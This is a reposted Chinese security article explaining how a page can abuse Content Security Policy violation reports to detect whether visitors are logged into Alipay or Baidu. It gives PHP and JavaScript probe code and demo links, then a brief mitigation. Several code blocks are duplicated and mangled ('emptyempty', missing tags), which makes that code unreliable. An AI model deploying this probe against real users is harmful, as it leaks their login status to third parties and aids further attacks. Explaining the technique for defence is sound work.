利用內(nèi)容安全策略探測(cè)網(wǎng)站登陸狀態(tài)(1)

責(zé)任編輯:editor005

2015-01-13 13:40:04

摘自:51CTO

內(nèi)容安全策略(Content Security Policy,簡(jiǎn)稱CSP)是一種以可信白名單作機(jī)制,來(lái)限制網(wǎng)站中是否可以包含某來(lái)源內(nèi)容。比如這個(gè)URL:https: my alipay com portal i htm

0x01 內(nèi)容安全策略(Content Security Policy,簡(jiǎn)稱CSP)簡(jiǎn)介

內(nèi)容安全策略(Content Security Policy,簡(jiǎn)稱CSP)是一種以可信白名單作機(jī)制,來(lái)限制網(wǎng)站中是否可以包含某來(lái)源內(nèi)容。默認(rèn)配置下不允許執(zhí)行內(nèi)聯(lián)代碼

[script ]塊內(nèi)容,內(nèi)聯(lián)事件,內(nèi)聯(lián)樣式 ,以及禁止執(zhí)行eval() , newFunction() , setTimeout([string], …) 和setInterval([string], …) 。

CSP更詳盡的介紹可以在drops看到:http://drops.wooyun.org/tips/1439

0x02 大環(huán)境介紹與原理

簡(jiǎn)單了解一下CSP,我們知道CSP可以限制網(wǎng)站中可否包含某來(lái)源的內(nèi)容。同時(shí),csp還可以在頁(yè)面違反規(guī)則的時(shí)候發(fā)送一個(gè)數(shù)據(jù)包,將具體細(xì)節(jié)通知給服務(wù)端。

我們?cè)賮?lái)想想像支付寶這種集成度很高的網(wǎng)站服務(wù),當(dāng)我們?cè)谖吹卿浀那闆r下訪問alipay的某個(gè)子域名(如test.alipay.com),很可能是會(huì)302跳轉(zhuǎn)到一個(gè)用戶登陸專用的域名(如login.alipay.com)下要求用戶登錄。而在已登錄的情況下是不會(huì)跳轉(zhuǎn)的。

這就造成了一個(gè)登錄/未登錄的一個(gè)差別,主要差別如下:

HTTP狀態(tài)碼(302和200)

最終訪問的域名(test.alipay.com和login.alipay.com)

因?yàn)闉g覽器SOP(同源策略)的限制,正常情況下我們是無(wú)法獲取到alipay域名下HTTP狀態(tài)碼的。

但結(jié)合CSP安全策略,我們卻可以簡(jiǎn)單獲得第2個(gè),也就是最終訪問域名。為什么?

我前面說了CSP是可以限制頁(yè)面中允許加載哪些來(lái)源的內(nèi)容的。所以,當(dāng)我們將CSP設(shè)置為只接受來(lái)源為test.alipay.com的內(nèi)容,那么當(dāng)加載來(lái)源為login.alipay.com的請(qǐng)求時(shí)就會(huì)被CSP策略拒絕,并可以將這個(gè)訪問report給服務(wù)端,我們通過report的內(nèi)容就能判斷用戶訪問的是test還是login。 過程如下:

enter image description here

  這就是原理,很贊的一個(gè)思路,再次崇拜一次@/fd。

[page]

0x03 以支付寶為例編寫探測(cè)代碼

所以,根據(jù)上面的思路,我們第一步就是找到一個(gè)這樣的頁(yè)面:登錄、未登錄用戶訪問時(shí)到達(dá)的“域名”不相同。這里的“域名”包括protocol和hostname,也就是說http://test.alipay.com和https://test.alipay.com是不同的域名。

像支付寶這種網(wǎng)站有很多這樣的頁(yè)面,因?yàn)橹Ц秾毜暮芏喾?wù)是登錄用戶才能查看的,而登錄入口又只有那么一個(gè)。

比如這個(gè)URL:https://my.alipay.com/portal/i.htm,當(dāng)未登錄用戶訪問的時(shí)候會(huì)跳轉(zhuǎn)到https://auth.alipay.com/login/index.htm,已登錄用戶訪問時(shí)不會(huì)跳轉(zhuǎn)。

這時(shí)候我們將CSP的img-src限制為https://my.alipay.com,再將https://my.alipay.com/portal/i.htm作為img的src,這個(gè)時(shí)候就會(huì)出現(xiàn)一個(gè)有趣的現(xiàn)象:未登錄的用戶訪問時(shí),會(huì)觸發(fā)CSP規(guī)則。

因?yàn)槲吹卿浀挠脩粼L問時(shí)實(shí)際img加載的src是https://auth.alipay.com/login/index.htm,不符合CSP限制的img-src,自然就觸發(fā)規(guī)則了。 這時(shí)候我們?cè)谠O(shè)置CSP的report-uri為report.php,不符合規(guī)則的請(qǐng)求會(huì)被記錄下作為日志發(fā)送到report.php里:

enter image description here

不過瀏覽器在發(fā)送這個(gè)report包的時(shí)候是不帶cookie的,所以服務(wù)器那邊并不能直接判斷是哪個(gè)用戶發(fā)送的report包,所以我們?cè)趓eport的GET參數(shù)里帶上用戶的session id。

示例代碼如下:

 

session_start();

$ssid = session_id();

header("Content-Security-Policy:img-src https://my.alipay.com; report-uri report.php?ssid={$ssid}");

?>  session_start();

$ssid = session_id();

header("Content-Security-Policy:img-src https://my.alipay.com; report-uri report.php?ssid={$ssid}");

>  session_start();

$ssid = session_id();

header("Content-Security-Policy:img-src https://my.alipay.com; report-uri report.php?ssid={$ssid}");

>

 

 

 

 

 

 

  

<script type="text/javascript">

function check()

{

with(new XMLHttpRequest) {

open('GET', 'alipay.php');

send();

onreadystatechange = function() {

if (readyState ^ 4) return;

result.innerHTML = parseInt(responseText) > 0 ? '未登錄' : '已登錄';

}

}

}

</script>

 

report.php用來(lái)記錄:

 

session_start();

if (preg_match('/^[a-z0-9]*$/i', $_GET['ssid'])) {

session_id($_GET['ssid']);

}else{

exit;

}

$report = file_get_contents("php://input");

if (!emptyempty($report)) {

$_SESSION['nologin'] = 1;

}else{

$_SESSION['nologin'] = 0;

}

?>  session_start();

if (preg_match('/^[a-z0-9]*$/i', $_GET['ssid'])) {

session_id($_GET['ssid']);

}else{

exit;

}

$report = file_get_contents("php://input");

if (!emptyempty($report)) {

$_SESSION['nologin'] = 1;

}else{

$_SESSION['nologin'] = 0;

}

>  session_start();

if (preg_match('/^[a-z0-9]*$/i', $_GET['ssid'])) {

session_id($_GET['ssid']);

}else{

exit;

}

$report = file_get_contents("php://input");

if (!emptyempty($report)) {

$_SESSION['nologin'] = 1;

}else{

$_SESSION['nologin'] = 0;

}

>

當(dāng)接收到php://input的時(shí)候說明CSP發(fā)送報(bào)告了,說明請(qǐng)求違反的CSP規(guī)則了,也就意味著用戶沒有登錄,所以將session中的nologin設(shè)置為1。 然后在index.php里用一個(gè)ajax來(lái)向alipay.php請(qǐng)求,實(shí)際上就是獲得$_SESSION[nologin]的值:

 

session_start();

echo isset($_SESSION['nologin']) ? $_SESSION['nologin'] : 0;

setcookie('PHPSESSID', '', time() - 10);

session_destroy();

?>  session_start();

echo isset($_SESSION['nologin']) ? $_SESSION['nologin'] : 0;

setcookie('PHPSESSID', '', time() - 10);

session_destroy();

>  session_start();

echo isset($_SESSION['nologin']) ? $_SESSION['nologin'] : 0;

setcookie('PHPSESSID', '', time() - 10);

session_destroy();

>

如上,獲取完后將session清除一下,以免影響下一次的判斷。

獲得值如果為1的話,說明沒有登錄,如果為0說明已登錄,就可以顯示出來(lái)或做任何其他操作了。

來(lái)個(gè)演示:http://mhz.pw/game/detect/alipay/

登錄支付寶以后訪問,顯示“已登錄”

換個(gè)瀏覽器,直接訪問則顯示“未登錄”:

enter image description here

[page]

0x04 由http/https混用造成的問題(百度為例)

同樣的問題,不僅僅是支付寶存在,只要有“統(tǒng)一登錄入口”的網(wǎng)站都可能出現(xiàn)這個(gè)問題,因?yàn)榻y(tǒng)一登錄入口通常是一個(gè)單獨(dú)的域名。

還有一種情況,是http和https混用造成的。有些網(wǎng)站的登錄頁(yè)面是https加密傳輸?shù)?,但登陸以后?shí)際的操作頁(yè)面是走h(yuǎn)ttp。

這之間一樣存在一個(gè)跳轉(zhuǎn)的問題,當(dāng)我們?cè)L問一個(gè)登陸后才能看到的頁(yè)面如http://xxx.com/index,未登錄的用戶就會(huì)跳轉(zhuǎn)到登錄頁(yè)面,如https://xxx.com/login。

在CSP里http和https是完全不同的兩個(gè)來(lái)源,所以也能觸發(fā)CSP規(guī)則。

比如https://passport.baidu.com,這是百度的安全中心。當(dāng)已登錄用戶訪問的時(shí)候會(huì)跳轉(zhuǎn)到“安全中心”首頁(yè)http://passport.baidu.com/center(注意,此處是http):

而未登錄用戶訪問則會(huì)跳轉(zhuǎn)到https://passport.baidu.com/v2/?login(這時(shí)候是https):

enter image description here

雖然兩個(gè)域名都是passport.baidu.com,但因?yàn)閜rotocol不同,混用的http和https就能夠影響CSP的攔截情況。

我們將CSP設(shè)置為img-src https://passport.baidu.com ,那么img的src就只接受來(lái)源為https://passport.baidu.com的img,那么已登錄用戶訪問的http://passport.baidu.com/center就會(huì)被阻止,產(chǎn)生一個(gè)CSP報(bào)告。記錄下這個(gè)報(bào)告,一樣能判斷訪客是否已登錄百度。

測(cè)試你是否登錄百度:http://mhz.pw/game/detect/baidu/

0x05 影響及防范方法

嚴(yán)格來(lái)論,只是判斷用戶是否登錄,這個(gè)問題并不算一個(gè)漏洞。當(dāng)時(shí)@/fd將問題提交到推特之后推特的回應(yīng)也是不算漏洞,但確實(shí)如果與其他一些漏洞結(jié)合使用,會(huì)讓某些漏洞的成功率提高一大截。所以我們可以將之歸為一個(gè)“奇技淫巧”。

這個(gè)問題更容易出現(xiàn)在一些大型網(wǎng)站、企業(yè)網(wǎng)絡(luò)之中,往往這些網(wǎng)站的統(tǒng)一性和重用性都做的很好,所以往往登錄入口只有一個(gè)(現(xiàn)在流行一個(gè)user center的概念),所以難免會(huì)出現(xiàn)一些跳轉(zhuǎn)的問題。有這些跳轉(zhuǎn),就是探測(cè)用戶登錄的基礎(chǔ)。

這個(gè)方法還有一個(gè)限制,就是用戶使用的瀏覽器需要是現(xiàn)代瀏覽器,需要支持CSP安全策略。如果你要探測(cè)的用戶還在用IE6~IE10,那么是肯定不行的。 如何解決這個(gè)問題?如果你真的覺得這是個(gè)安全問題的話,那么盡量避免跳轉(zhuǎn),或者使用javascript進(jìn)行頁(yè)面的跳轉(zhuǎn)。

鏈接已復(fù)制,快去分享吧

企業(yè)網(wǎng)版權(quán)所有?2010-2024 京ICP備09108050號(hào)-6京公網(wǎng)安備 11010502049343號(hào)